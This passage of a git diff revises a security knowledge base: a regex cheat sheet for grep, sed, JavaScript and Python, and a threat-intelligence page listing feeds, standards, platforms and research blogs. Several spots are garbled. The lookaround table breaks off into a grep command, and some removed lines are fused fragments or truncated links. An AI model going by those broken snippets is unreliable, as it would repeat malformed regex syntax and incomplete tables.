more repetitions of any characters followed by the remaining characters within the lookahead. - * You can see for yourself that the following two commands produce the same result.\ - ▪ `grep -P "[pP]" Countries.txt | grep -P “[cC]”`\ - ▪ `grep -P "(?=.*[pP])(?=.*[cC])" Countries.txt` +In `grep`, `-o` prints only the matched portion: -### Captures +```bash +grep -Po 'user=\K[^ ]+' auth.log +``` -Parentheses can be used in regular expressions to capture part of a matched pattern. This can then be used for a range of purposes, including 'Find and Replace' functions. While true regex captures require more complicated syntax within the grep and awk commands, they can be written in sed using the following format:\ -`sed -rn ‘s/.*(capture).*/\1/p' file_name.txt`\ -This command replaces the entirety of the matched string with the string inside the capturing parentheses.\ -In grep, an additional `-o` flag can be passed to only output the exactly matched text so that a carefully constructed regex can be used to create an equivalent output to a regex capture. When doing this, it is often necessary to use anchors or specifically exclude the characters which surround the desired region. -Java Pattern Class (Docs)](https://docs.oracle.com/en/java/javase/17/docs/api/java.base -### Anchors +### Lookarounds + +Lookarounds are zero-width assertions. They match based on surrounding text without consuming that text. + +| Pattern | Meaning | +| --- | --- | +| `(?=regex)` | Positive lookahead | +| `(?!regex)` | Negative lookahead | +| `(?<=regex)` | Positive lookbehind | +| `(? output-file +``` + +### sed + +```bash +sed -rn '/regex-pattern/p' input-file +``` + +### rg + +```bash +rg "regex-pattern" +``` + +* [ripgrep](https://github.com/BurntSushi/ripgrep) is a fast line-oriented search tool that recursively searches directories. ## Regex in Java -* [https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html](https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html) +* [Java Pattern Class](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/regex/Pattern.html) ## Regex in JavaScript -\ -In JavaScript, regexes can be created either by calling the constructor function of the RegExp object, or by using a regex literal, as follows: - -* Constructor function - * `var my_regex_variable = new RegExp(/my_regex_pattern/flags);` -* Regex literal - * `var my_regex_variable = /my_regex_pattern/flags;` -* Flags can be passed to the regex for additional functionality, affecting how and what the regex matches in a string. Below are some examples: - * g – Global search, so the method using the regex will act on all matches within the string, not just the first match. - * i – Case-insensitive search. - * m – Multi-line search; by default regexes separate strings by line breaks. - * s – The dot **`.`** wildcard matches newline characters; it does not match these by default. -* For example, `vfollowing JavaScript code will assign the index of the matched substring, ‘2’, to the `my_index` variable -| Method | Action | -| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| match() | Returns either an array of the first match, the captured substring, the index and the input, or, if it is told to match globally, an array of all matches in the string. | -| replace() | Searches for a match and replaces the matched substring with a replacement substring. You can use $n to refer to the nth capture group in the regex. | -| search() | Returns the index of the first match found or determines that no match exists. | -| test() | Returns true or false for if a match exists. | -| exec() | Returns an array including the first match, the captured substring, the index of the match and the input. | - -For example, the JavaScript code in the panel below will assign the index of the matched substring, ‘2’, to the `my_index` variable. - -View and execute the 'regex\_methods.js' script to see how these methods function. - -`var my_index = “abracadabra”.search(/Ra/gi);` +JavaScript regexes can be created with a literal or the `RegExp` constructor. + +```javascript +const literal = /my_regex_pattern/gi; +const constructed = new RegExp("my_regex_pattern", "gi"); +``` + +Common flags: + +| Flag | Meaning | +| --- | --- | +| `g` | Global search | +| `i` | Case-insensitive search | +| `m` | Multi-line search | +| `s` | Dot matches newline | + +Common methods: + +| Method | Action | +| --- | --- | +| `match()` | Returns matches from a string | +| `replace()` | Replaces matching text | +| `search()` | Returns the index of the first match | +| `test()` | Returns true or false for whether a match exists | +| `exec()` | Returns match details from a regex object | + +Example: + +```javascript +const myIndex = "abracadabra".search(/ra/gi); +``` ## Regex in Python -\ -◇ Python has a built-in module called 're' which must be imported in the script and can be used to work with Perl-based regex.\ -◇ Unlike in JavaScript, regexes in Python are not created as objects but given as an argument to functions of the 're' module. -following Python code will assign the list of split substrings, `['one: ‘, ’two: ‘, ’three: ‘, ’']`, to the `my_list` variable | -| --------- | -------------------------------------------------------------------- | -| findall() | Returns a list containing all matches. | -| search() | Returns a ‘Match’ object if there is a match anywhere in the string. | -| split() | Returns a list where the string has been split at each match. | -| sub() | Replaces one or many matches within a string. | - -◇ A regex pattern can be specified as an argument to the functions using the syntax `r'`**`pattern`**`'`, or alternatively, a simple string can be used.\ -◇ For example, the Python code in the panel below will assign the list of split substrings, `['one: ‘, ’two: ‘, ’three: ‘, ’']`, to the `my_list` variable.\ -◇ View and execute the 're\_functions.py' script to see how these functions work.\ -▪ `my_list = re.split(r'\d', “one: 1 two: 2 three: 3”)` +Python's built-in `re` module supports regular expressions. -### Lookarounds +```python +import re + +my_list = re.split(r"\d", "one: 1 two: 2 three: 3") +``` + +Common functions: -Lookarounds are regex assertions which match characters in a string based on the surrounding characters. There are four kinds:\ -**`(?=regex)`** Positive lookahead\ -**`(?!regex)`** Negative lookahead\ -**`(?<=regex)`** Positive lookbehind\ -**`(?) - diff --git a/cyber-intelligence/intel-feeds-and-sources.md b/cyber-intelligence/intel-feeds-and-sources.md index 9541d39..1b8532e 100644 --- a/cyber-intelligence/intel-feeds-and-sources.md +++ b/cyber-intelligence/intel-feeds-and-sources.md @@ -1,437 +1,258 @@ # Intel Feeds and Sources -## **Intelligence Lifecycle: Understanding Deprecation and Priority** +Use this page for cyber threat intelligence feeds, standards, sharing platforms, source collections, and research sources. Indicator reputation and enrichment lookups live in Threat Data; sandboxing and malware behavior analysis live in DFIR. -Before exploring the numerous intelligence sources available, it's essential to understand the value of intelligence and its temporal nature. +## Intelligence Lifecycle: Deprecation and Priority -First, not all indicators are created equal—each should have an associated priority or weighting. Some indicators naturally provide stronger evidence of an attack than others. For example, consider the difference between detecting the hash of a known piece of malware versus observing an IP address associated with a known malicious scanner. The former demonstrates the presence of a known malicious object and represents a later stage in the attack chain. The latter simply indicates interaction with an indicator that *could* be malicious—additional data is needed to confirm an actual attack. These two indicators would have different priorities based on three factors: the fidelity of the indicator, the amount of additional data or correlation needed to confirm an attack, and the phase of the attack chain the indicator represents. +Not all indicators are equal. A malware hash tied to a confirmed intrusion usually carries more evidentiary weight than an IP address observed scanning the internet. Indicator priority depends on fidelity, corroborating context, and where the indicator sits in the attack chain. -Second, we must understand the temporal element of indicators. An indicator's fidelity and priority deprecate over time. The further removed we are from both the initial reporting date and the last confirmed detection, the lower the probability that the indicator remains valid. This is especially true for indicators that change frequently, such as IP addresses. Conversely, indicators like hash values remain largely valid over extended periods due to their cryptographic uniqueness. +Indicators also decay. IP addresses, domains, and infrastructure relationships can change quickly; hashes and well-described behaviors usually age better. When using feed data, track first-seen time, last-seen time, source reliability, and whether the indicator still matches current adversary behavior. -### **Threat Intelligence Frameworks** +## Threat Intelligence Frameworks -Several frameworks help structure and contextualize threat intelligence: - -* **[MITRE ATT&CK](https://attack.mitre.org/)** - A globally accessible knowledge base of adversary tactics and techniques based on real-world observations. Essential for mapping threat actor behaviors and detection strategies. -* **[Cyber Kill Chain](https://www.lockheedmartin.com/en-us/news/features/history/cyber-kill-chain.html)** - Lockheed Martin's framework identifying seven stages of cyber attacks, useful for understanding attack progression. -* **[Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf)** - A framework for analyzing cyber intrusion events by examining four core features: adversary, capability, infrastructure, and victim. +* [MITRE ATT&CK](https://attack.mitre.org/) - Knowledge base of adversary tactics and techniques. +* [Cyber Kill Chain](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html) - Lockheed Martin's seven-stage model for attack progression. +* [Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) - Intrusion analysis model built around adversary, capability, infrastructure, and victim. {% embed url="https://www.youtube.com/watch?v=J7e74QLVxCk" %} -## **Indicator Standards and Formats** - -* **[Oasis](https://www.oasis-open.org/) Suite** - OASIS is a non-profit standardization organization that manages the [standards](https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=cti) for multiple intelligence feed formats. - * **[STIX](https://stixproject.github.io/)** - Structured Threat Information Expression (STIX™) is a language and serialization format used to exchange cyber threat intelligence (CTI). STIX enables organizations to share CTI in a consistent and machine-readable manner, allowing security communities to better understand likely attacks and respond faster and more effectively. - * [https://oasis-open.github.io/cti-documentation/stix/intro](https://oasis-open.github.io/cti-documentation/stix/intro) - * **[CyBOX](https://cyboxproject.github.io/)** - An older standard that has been subsequently absorbed into STIX. - * **[TAXII](https://taxiiproject.github.io/)** - Trusted Automated Exchange of Intelligence Information (TAXII™) is an application layer protocol for communicating cyber threat information in a simple and scalable manner. TAXII enables organizations to share CTI over HTTPS by defining an API that aligns with common sharing models. TAXII is specifically designed to support the exchange of CTI represented in STIX. - * [https://oasis-open.github.io/cti-documentation/taxii/intro](https://oasis-open.github.io/cti-documentation/taxii/intro) -* **[OpenIOC](https://github.com/mandiant/OpenIOC_1.1)** - An open framework for sharing threat intelligence in a machine-digestible format, originally developed by Mandiant (now part of Google Cloud). - -## **Daily Checkers and Round-ups** - -Intelligence analysts parse through intel sources daily. Rather than maintaining 100+ browser tabs, RSS feeds can centralize articles in one location. [Feedly](https://feedly.com) is a popular RSS feed platform—its free tier supports 100+ sources in a single feed and includes preset cybersecurity collections. However, RSS feeds cannot capture content like tweets and Reddit posts. For this, Hackerpom's [intel feed tool](https://www.hackerpom.com/feed) aggregates top intel sources with relevant tweets and Reddit posts. - -Beyond daily checkers, regular review of "round-up" style blogs helps condense popular topics and surface insights other tools might miss: - -* [https://blog.badsectorlabs.com/](https://blog.badsectorlabs.com/) -* [https://sec.today/pulses/](https://sec.today/pulses/) -* [https://thisweekin4n6.com/](https://thisweekin4n6.com/) -* [https://latesthackingnews.com/](https://latesthackingnews.com/) -* [https://security-soup.net/tag/news/](https://security-soup.net/tag/news/) - -## Intelligence Tools and Resources - -
- -Intel Resource Collections - -* [Awesome Lists Collection: Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) -* [Awesome Lists Collection: IOCs](https://github.com/sroberts/awesome-iocs) -* [Awesome Lists Collection: Security Feeds](https://github.com/mrtouch93/awesome-security-feed) - -
- -### Indicator Gathering and Enrichment Tools - -These are tools for collecting, enriching, and sharing threat indicators. Most are open source and focus on indicator sharing within the cyber community and flexibility to work with a wide array of tools that might use the data. - -
- -Indicator Gathering and Enrichment Tools - -* [CSIRTGadget's CIF: Collective Intelligence Framework](https://csirtgadgets.com/collective-intelligence-framework) - Pulls feeds from multiple locations and makes them available for other systems to use for lookup or enrichment. -* [Yeti](https://github.com/yeti-platform/yeti) - Yeti is a platform meant to organize observables, indicators of compromise, TTPs, and knowledge on threats in a single, unified repository. -* [IntelOWL](https://github.com/intelowlproject/IntelOwl) - Intel Owl is an Open Source Intelligence, or OSINT solution to get threat intelligence data about a specific file, an IP or a domain from a single API at scale. -* [S-TIP](https://github.com/s-tip) - S-TIP is a threat intelligence platform to bring down barriers among separate practices of CTI sharing. -* [OpenCTI](https://github.com/OpenCTI-Platform/opencti) - OpenCTI is an open source platform allowing organizations to manage their cyber threat intelligence knowledge and observables -* [TheHive](https://github.com/TheHive-Project/TheHive) - A scalable, open-source security incident response platform designed to integrate with MISP and other threat intelligence tools. -* [Cortex](https://github.com/TheHive-Project/Cortex) - Powerful observable analysis and active response engine that works with TheHive. -* [Harpoon](https://github.com/Te-k/harpoon) - OSINT / Threat Intel CLI tool. -* [Threat Dragon](https://github.com/OWASP/threat-dragon) - Threat Dragon is a free, open-source, cross-platform threat modeling application including system diagramming and a rule engine to auto-generate threats/mitigations. -* [IoC Ingester ](https://github.com/ninoseki/iocingestor)- An extendable tool to extract and aggregate IoCs from threat feeds. -* [IoC Parser](https://github.com/armbues/ioc\_parser) - IOC Parser is a tool to extract indicators of compromise from security reports in PDF format -* [cti](https://github.com/mitre/cti) - Cyber Threat Intelligence Repository expressed in STIX 2.0 -* [TALR](https://github.com/SecurityRiskAdvisors/TALR) - A public repository for the collection and sharing of detection rules in STIX format. - -
- -### MISP +## Indicator Standards and Formats + +* [OASIS CTI Technical Committee](https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=cti) - Standards body for STIX and TAXII. +* [STIX 2.x](https://oasis-open.github.io/cti-documentation/stix/intro) - Structured Threat Information Expression for machine-readable CTI. +* [TAXII 2.x](https://oasis-open.github.io/cti-documentation/taxii/intro) - API protocol for exchanging STIX threat intelligence. +* [OpenIOC](https://github.com/mandiant/OpenIOC_1.1) - Mandiant framework for sharing threat intelligence in a machine-digestible format. +* [CybOX](https://cyboxproject.github.io/) - Legacy cyber observable specification. CybOX concepts were folded into STIX 2.x observables. + +## Daily Checkers and Roundups + +* [Feedly](https://feedly.com/) - RSS reader with cybersecurity collections. +* [Hackerpom Intel Feed Tool](https://www.hackerpom.com/feed) - Aggregates security news, tweets, and Reddit sources. +* [Bad Sector Labs](https://blog.badsectorlabs.com/) +* [Security Soup](https://security-soup.net/tag/news/) +* [The Hacker News](https://thehackernews.com/) +* [BleepingComputer Security](https://www.bleepingcomputer.com/news/security/) +* [Dark Reading](https://www.darkreading.com/) +* [CyberScoop](https://www.cyberscoop.com/) +* [SecurityWeek](https://www.securityweek.com/) +* [The Register: Security](https://www.theregister.com/security/) +* [Ars Technica: Security](https://arstechnica.com/tag/security/) + +DFIR-specific news and case studies are preserved in the DFIR section. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} + +## CTI Resource Collections + +* [Awesome Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) +* [Awesome IOCs](https://github.com/sroberts/awesome-iocs) +* [Awesome Security Feeds](https://github.com/mrtouch93/awesome-security-feed) + +## Threat Intelligence Platforms and Tools + +* [MISP](https://www.misp-project.org/) - Open-source threat sharing platform for storing, correlating, enriching, and distributing indicators. + * [MISP GitHub](https://github.com/MISP/MISP) + * [MISP Modules](https://github.com/MISP/misp-modules) + * [MISP Splunk App](https://splunkbase.splunk.com/app/4335/) + * [MISP User Guide](https://www.circl.lu/doc/misp/book.pdf) +* [OpenCTI](https://github.com/OpenCTI-Platform/opencti) - Open-source CTI platform built around STIX 2.1 concepts. +* [Yeti](https://github.com/yeti-platform/yeti) - Platform for organizing observables, IOCs, TTPs, and threat knowledge. +* [IntelOwl](https://github.com/intelowlproject/IntelOwl) - Open-source analyzer and enrichment platform for files, IPs, domains, and other observables. +* [S-TIP](https://github.com/s-tip) - Threat intelligence platform focused on CTI sharing workflows. +* [TheHive](https://github.com/TheHive-Project/TheHive) - Incident response and case management platform that integrates with MISP and other CTI tools. +* [Cortex](https://github.com/TheHive-Project/Cortex) - Observable analysis and active response engine. +* [Harpoon](https://github.com/Te-k/harpoon) - OSINT and threat intelligence CLI. +* [IoC Ingester](https://github.com/ninoseki/iocingestor) - Extracts and aggregates IoCs from threat feeds. +* [Mihari](https://github.com/ninoseki/mihari) - Continuous OSINT-based indicator monitoring framework. +* [IoC Parser](https://github.com/armbues/ioc_parser) - Extracts indicators from security reports. +* [MITRE CTI](https://github.com/mitre/cti) - ATT&CK content expressed in STIX 2.0. +* [TALR](https://github.com/SecurityRiskAdvisors/TALR) - Detection rule sharing in STIX format. + +Threat Dragon is a threat modeling tool rather than a CTI feed platform, so it belongs with secure design and architecture references rather than this page. + +## Government, ISAC, and Sharing Sources + +* [InfraGard](https://www.infragard.org/) - FBI-affiliated public/private partnership. +* [CISA Cybersecurity Resources](https://www.cisa.gov/cybersecurity) +* [CISA Cybersecurity Advisories](https://www.cisa.gov/news-events/cybersecurity-advisories) +* [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) +* [CISA Vulnerability Bulletins](https://www.cisa.gov/news-events/bulletins) +* [CISA Analysis Reports](https://www.cisa.gov/news-events/analysis-reports) +* [CISA AIS](https://www.cisa.gov/topics/cyber-threats-and-advisories/information-sharing/automated-indicator-sharing-ais) - Automated Indicator Sharing. Treat as a historical or transition-sensitive source and verify the current program status before building new dependencies on it. +* [IC3](https://www.ic3.gov/) - FBI Internet Crime Complaint Center. +* [National Council of ISACs](https://www.nationalisacs.org/member-isacs-3) - Find sector-specific ISACs. + +## Intel Platforms + +* [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) +* [ThreatConnect](https://app.threatconnect.com/) +* [AlienVault OTX](https://otx.alienvault.com/) +* [Anomali](https://www.anomali.com/products) +* [ThreatQ](https://www.threatquotient.com/) + +Premium intelligence providers: + +* [CrowdStrike Falcon Intelligence](https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/) +* [Spamhaus Data Query Service](https://www.spamhaus.com/product/data-query-service/) +* [Intel 471](https://intel471.com/products/threat-intelligence/) +* [Intelligence X](https://intelx.io/) - Search engine and archival intelligence platform. +* [Team Cymru](https://team-cymru.com/) +* [CINS Score](https://cinsscore.com/#cins-ati) +* [ThreatSTOP](https://www.threatstop.com/threatstop-pricing) +* [VirusTotal Intelligence](https://www.virustotal.com/gui/intelligence-overview) +* [Recorded Future](https://www.recordedfuture.com/platform/) +* [Mandiant Advantage](https://www.mandiant.com/advantage) + +TruSTAR was acquired by Splunk; verify current Splunk Enterprise Security, SOAR, and threat intelligence workflows before depending on old TruSTAR documentation. -[**MISP**](https://www.misp-project.org/)**:** The Malware Information Sharing Platform - MISP is a free and open-source threat sharing platform that facilitates information sharing of threat intelligence, including cybersecurity indicators. MISP can ingest numerous indicator feeds, enrich indicators, and distribute them to other platforms. It includes an extensive array of high-fidelity default feeds and modules that enable integration with numerous platforms and technologies. - -
- -MISP Resources - -* MISP Github - [https://github.com/MISP/MISP](https://github.com/MISP/MISP) -* MISP Modules - [https://github.com/MISP/misp-modules](https://github.com/MISP/misp-modules) -* MISP Splunk App - [https://splunkbase.splunk.com/app/4335/](https://splunkbase.splunk.com/app/4335/) -* CIRCL User Guide - [https://www.circl.lu/doc/misp/book.pdf](https://www.circl.lu/doc/misp/book.pdf) -* [https://www.recordedfuture.com/misp-integration-overview/](https://www.recordedfuture.com/misp-integration-overview/) -* [https://www.circl.lu/assets/files/infosharing.pdf](https://www.circl.lu/assets/files/infosharing.pdf) -* [https://www.sans.org/webcasts/sharing-alerts-threat-intelligence-misp-110000](https://www.sans.org/webcasts/sharing-alerts-threat-intelligence-misp-110000) -* [https://www.sans.org/webcasts/friend-creating-threat-intelligence-capability-103532](https://www.sans.org/webcasts/friend-creating-threat-intelligence-capability-103532) - -
- -{% embed url="https://www.youtube.com/watch?app=desktop&v=00jq7Gbqdz8" %} - -## Intelligence Sources - -
- -Government Feeds - -* FBI Infragaurd - [https://www.infragard.org/](https://www.infragard.org/) -* CISA - * Cybersecurity Advisories - [https://www.cisa.gov/news-events/cybersecurity-advisories](https://www.cisa.gov/news-events/cybersecurity-advisories) - * Known Exploited Vulnerabilities - [https://www.cisa.gov/known-exploited-vulnerabilities-catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - * Vulnerability Bulletins - [https://www.cisa.gov/news-events/bulletins](https://www.cisa.gov/news-events/bulletins) - * Analysis Reports - [https://www.cisa.gov/news-events/analysis-reports](https://www.cisa.gov/news-events/analysis-reports) - * Automated Indicator Sharing (AIS) TAXII API (free/registration required) - [https://www.cisa.gov/topics/cyber-threats-and-advisories/information-sharing/automated-indicator-sharing-ais](https://www.cisa.gov/topics/cyber-threats-and-advisories/information-sharing/automated-indicator-sharing-ais) -* IC3 News Releases -[https://www.ic3.gov/](https://www.ic3.gov/) -* Various ISAC - Find an ISAC in your sector - [https://www.nationalisacs.org/member-isacs-3](https://www.nationalisacs.org/member-isacs-3) - -
- -
- -Intel Platforms - -* IBM X-Force Exchange - [https://exchange.xforce.ibmcloud.com/](https://exchange.xforce.ibmcloud.com/) -* ThreatConnect - [https://app.threatconnect.com/](https://app.threatconnect.com/) -* AlienVault OTX (AT&T Cybersecurity) - [https://otx.alienvault.com/](https://otx.alienvault.com/) - -
+## IoC Feeds -
+MISP includes many default feeds. For the current list, use [MISP OSINT feeds](https://www.misp-project.org/feeds/). + +Common free feeds: + +* [CIRCL OSINT Feed](https://www.circl.lu/doc/misp/feed-osint/) +* [Botvrij.eu Feed](https://www.botvrij.eu/data/feed-osint/) +* [Emerging Threats Compromised IPs](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) +* [Feodo Tracker](https://feodotracker.abuse.ch/downloads/ipblocklist.csv) +* [ThreatFox](https://threatfox.abuse.ch/) +* [URLhaus](https://urlhaus.abuse.ch/) +* [MalwareBazaar](https://bazaar.abuse.ch/) +* [OpenPhish](https://openphish.com/feed.txt) +* [abuse.ch SSL Blacklist](https://sslbl.abuse.ch/blacklist/sslipblacklist.csv) +* [DigitalSide Threat Intel](https://osint.digitalside.it/Threat-Intel/digitalside-misp-feed/) +* [FireHOL IP Lists](https://iplists.firehol.org/) +* [AlienVault OTX API](https://github.com/AlienVault-OTX/ApiV2) +* [PhishHunt](https://phishunt.io/) +* [Disposable Email Domains](https://github.com/ivolo/disposable-email-domains) +* [FreeMail](https://github.com/dpup/freemail) +* [Stop Forum Spam](https://www.stopforumspam.com/) +* [DShield Feeds](https://www.dshield.org/xml.html) +* [dan.me.uk Tor Exit Nodes](https://www.dan.me.uk/tornodes) +* [dan.me.uk DNS Blacklists](https://www.dan.me.uk/dnsbl) +* [Spamhaus DROP](https://www.spamhaus.org/drop/) +* [Project Honey Pot IP List](https://www.projecthoneypot.org/list_of_ips.php) +* [DarkFeed](https://darkfeed.io/) +* [Anomali Limo](https://www.anomali.com/resources/limo) +* [Rescure](https://rescure.me/) - Curated CTI feeds. +* [Malware-IOCs](https://github.com/executemalware/Malware-IOCs) + +Reputation and enrichment platforms such as VirusTotal, GreyNoise, AbuseIPDB, urlscan.io, and OPSWAT MetaDefender are maintained on Threat Data. + +{% content-ref url="threat-data.md" %} +[threat-data.md](threat-data.md) +{% endcontent-ref %} + +Malware sandboxes such as ANY.RUN, Hybrid Analysis, Joe Sandbox, Triage, Intezer, UnpacMe, and Cuckoo are maintained in DFIR sandboxing. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/sandboxing.md" %} +[sandboxing.md](../dfir-digital-forensics-and-incident-response/sandboxing.md) +{% endcontent-ref %} + +## Research Blogs + +Threat research groups: + +* [Mandiant Blog](https://www.mandiant.com/resources/blog) +* [Sophos News](https://news.sophos.com/en-us/) +* [Elastic Security Labs](https://www.elastic.co/security-labs) +* [Securelist](https://securelist.com/) +* [Malwarebytes Labs](https://www.malwarebytes.com/blog) +* [Google Project Zero](https://googleprojectzero.blogspot.com/) +* [ClearSky Blog](https://www.clearskysec.com/blog/) +* [Check Point Research](https://research.checkpoint.com/) +* [Cisco Talos](https://blogs.cisco.com/security/talos) +* [FortiGuard Labs](https://www.fortiguard.com/resources/threat-brief) +* [Unit 42](https://unit42.paloaltonetworks.com/) +* [Trend Micro Research](https://www.trendmicro.com/en_us/research.html) +* [CrowdStrike Intelligence Blog](https://www.crowdstrike.com/blog/category/threat-intel-research/) +* [JPCERT/CC Eyes](https://blogs.jpcert.or.jp/en/) +* [SANS ISC Diary](https://isc.sans.edu/diary.html) +* [Cryptolaemus](https://paste.cryptolaemus.com/) +* [Uptycs Threat Research](https://www.uptycs.com/blog/tag/threat-research) + +Corporate security blogs: + +* [Microsoft Security Response Center](https://msrc-blog.microsoft.com/) +* [DomainTools Research](https://www.domaintools.com/resources/blog?category=domaintools-research&authors=) +* [Proofpoint Blog](https://www.proofpoint.com/us/blog) +* [Zscaler Research](https://www.zscaler.com/blogs/security-research) +* [Secureworks Blog](https://www.secureworks.com/blog) +* [Searchlight Cyber](https://www.searchlight-cyber.com/research-and-insights/) +* [Recorded Future Blog](https://www.recordedfuture.com/blog/) +* [Imperva Blog](https://www.imperva.com/blog/) +* [Tenable Blog](https://www.tenable.com/blog) +* [Google Security Blog](https://security.googleblog.com/) +* [Cofense Blog](https://cofense.com/blog/) +* [Fortinet Blog](https://www.fortinet.com/blog) +* [SpecterOps Blog](https://posts.specterops.io/) +* [Virus Bulletin](https://www.virusbulletin.com/blog/) +* [Anomali Blog](https://www.anomali.com/blog) +* [Intezer Blog](https://www.intezer.com/blog/) +* [Verisign Blog](https://blog.verisign.com/) +* [VirusTotal Blog](https://blog.virustotal.com/) +* [WeLiveSecurity](https://www.welivesecurity.com/research/) +* [TrustedSec Blog](https://www.trustedsec.com/blog/) +* [Broadcom Security Center](https://www.broadcom.com/support/security-center) +* [Trustwave SpiderLabs](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/) +* [ReversingLabs Blog](https://blog.reversinglabs.com/blog) +* [Rapid7 Research](https://blog.rapid7.com/tag/research/) +* [SecurityTrails Blog](https://securitytrails.com/blog) +* [Advanced Intelligence Blog](https://www.advanced-intel.com/blog) +* [Scythe Threat Thursday](https://www.scythe.io/threatthursday) +* [Trellix Blog](https://www.trellix.com/blogs/) +* [Huntress Blog](https://www.huntress.com/blog) +* [Red Canary Blog](https://redcanary.com/blog/) +* [Splunk Security Blog](https://www.splunk.com/en_us/blog/security.html) +* [SentinelOne Blog](https://www.sentinelone.com/blog/) + +Offensive methodology blogs such as Hakluke, PentesterLab-style content, and Null Byte fit better in Red Offensive or Web App Hacking. + +## Communities and Media + +* [SANS ISC Forums](https://isc.sans.edu/forums/Diary+Discussions/) +* [r/blueteamsec](https://www.reddit.com/r/blueteamsec/) +* [r/cybersecurity](https://www.reddit.com/r/cybersecurity/) +* [r/Intelligence](https://www.reddit.com/r/Intelligence/) +* [r/netsec](https://www.reddit.com/r/netsec/) +* [r/threathunting](https://www.reddit.com/r/threathunting/) +* [r/AskNetsec](https://www.reddit.com/r/AskNetsec/) +* [infosec.exchange](https://infosec.exchange/) - Primary cybersecurity Mastodon instance. + +Podcasts and webcasts: + +* [Darknet Diaries](https://darknetdiaries.com/) +* [Privacy, Security, and OSINT Show](https://inteltechniques.com/podcast.html) +* [CyberWire Podcasts](https://www.thecyberwire.com/podcasts/) +* [Proofpoint Podcasts](https://www.proofpoint.com/us/resources/podcast) +* [Social-Engineer Podcast](https://www.social-engineer.org/category/podcast/) +* [Beers with Talos](https://blog.talosintelligence.com/) +* [Malicious Life](https://malicious.life/) +* [GIAC Podcasts](https://www.giac.org/podcasts) +* [Security Weekly](https://securityweekly.com/) +* [Black Hills Webcasts](https://www.blackhillsinfosec.com/blog/webcasts/) + +Training, YouTube channels, and labs are preserved in Training. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} -Cyber News - -* PacketStorm -[https://packetstormsecurity.com/](https://packetstormsecurity.com/) -* The Hacker News - [https://thehackernews.com/](https://thehackernews.com/) -* Bleeping Computer -[https://www.bleepingcomputer.com/news/security/](https://www.bleepingcomputer.com/news/security/) -* Dark Reading - [https://www.darkreading.com/](https://www.darkreading.com/) -* Cyber Scoop -[https://www.cyberscoop.com/](https://www.cyberscoop.com/) -* Security Week -[https://www.securityweek.com/](https://www.securityweek.com/) -* Gizmodo: Security - [https://gizmodo.com/tag/security](https://gizmodo.com/tag/security) -* The Register: Security -[https://www.theregister.com/security/](https://www.theregister.com/security/) -* ITSec Guru - [https://www.itsecurityguru.org/](https://www.itsecurityguru.org/) -* Hackaday - [https://hackaday.com/category/security-hacks/](https://hackaday.com/category/security-hacks/) -* Cyber Talk - [https://www.cybertalk.org/](https://www.cybertalk.org/) -* Hackbusters -[https://hackbusters.com/](https://hackbusters.com/) -* Data Breaches -[https://www.databreaches.net/category/breach-reports/us/](https://www.databreaches.net/category/breach-reports/us/) -* CSO Online -[https://www.csoonline.com/](https://www.csoonline.com/) -* Null-Byte -[https://null-byte.wonderhowto.com/](https://null-byte.wonderhowto.com/) -* Security News Wire - [https://securitynewswire.com/index.php/Home](https://securitynewswire.com/index.php/Home) -* Ars Technica: Security - [https://arstechnica.com/tag/security/](https://arstechnica.com/tag/security/) - -
- -
- -Vulnerability Disclosure - -* NIST -[https://nvd.nist.gov/vuln/search](https://nvd.nist.gov/vuln/search) -* Full Disclosure -[https://seclists.org/fulldisclosure/](https://seclists.org/fulldisclosure/) -* PacketStorm Vuls and Exploits - [https://packetstormsecurity.com/files/tags/exploit/](https://packetstormsecurity.com/files/tags/exploit/) -* Exploit DB -[https://www.exploit-db.com/](https://www.exploit-db.com/) -* CX Security - [https://cxsecurity.com/](https://cxsecurity.com/) -* Japan Vul Notes -[https://jvn.jp/en/](https://jvn.jp/en/) -* VulDB - [https://vuldb.com/](https://vuldb.com/) -* vFeed -[https://vfeed.io/](https://vfeed.io/) - -
- -
- -Threat Research Group Blogs - -* Mandiant - [https://www.mandiant.com/resources/blog](https://www.mandiant.com/resources/blog) (formerly FireEye) -* Sophos -[https://news.sophos.com/en-us/](https://news.sophos.com/en-us/) -* Elastic Security Labs - [https://www.elastic.co/security-labs](https://www.elastic.co/security-labs) -* SecureList - [https://securelist.com/](https://securelist.com/) -* MalwareBytes Blog -[https://blog.malwarebytes.com/](https://blog.malwarebytes.com/) -* Google Project Zero - [https://googleprojectzero.blogspot.com/](https://googleprojectzero.blogspot.com/) -* ClearSky Blog - [https://www.clearskysec.com/blog/](https://www.clearskysec.com/blog/) -* CheckPoint Research - [https://research.checkpoint.com/](https://research.checkpoint.com/) -* Cisco Talos Research - [https://blogs.cisco.com/security/talos](https://blogs.cisco.com/security/talos) -* Cisco Talos Blog -[https://blog.talosintelligence.com/](https://blog.talosintelligence.com/) -* FortiGuard Labs - [https://www.fortiguard.com/resources/threat-brief](https://www.fortiguard.com/resources/threat-brief) -* Unit42 - [https://unit42.paloaltonetworks.com/](https://unit42.paloaltonetworks.com/) -* TrendMicro Research - [https://www.trendmicro.com/en\_us/research.html](https://www.trendmicro.com/en\_us/research.html) -* Malware-Traffic-Analysis - [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net/) -* CrowdStrike Intel 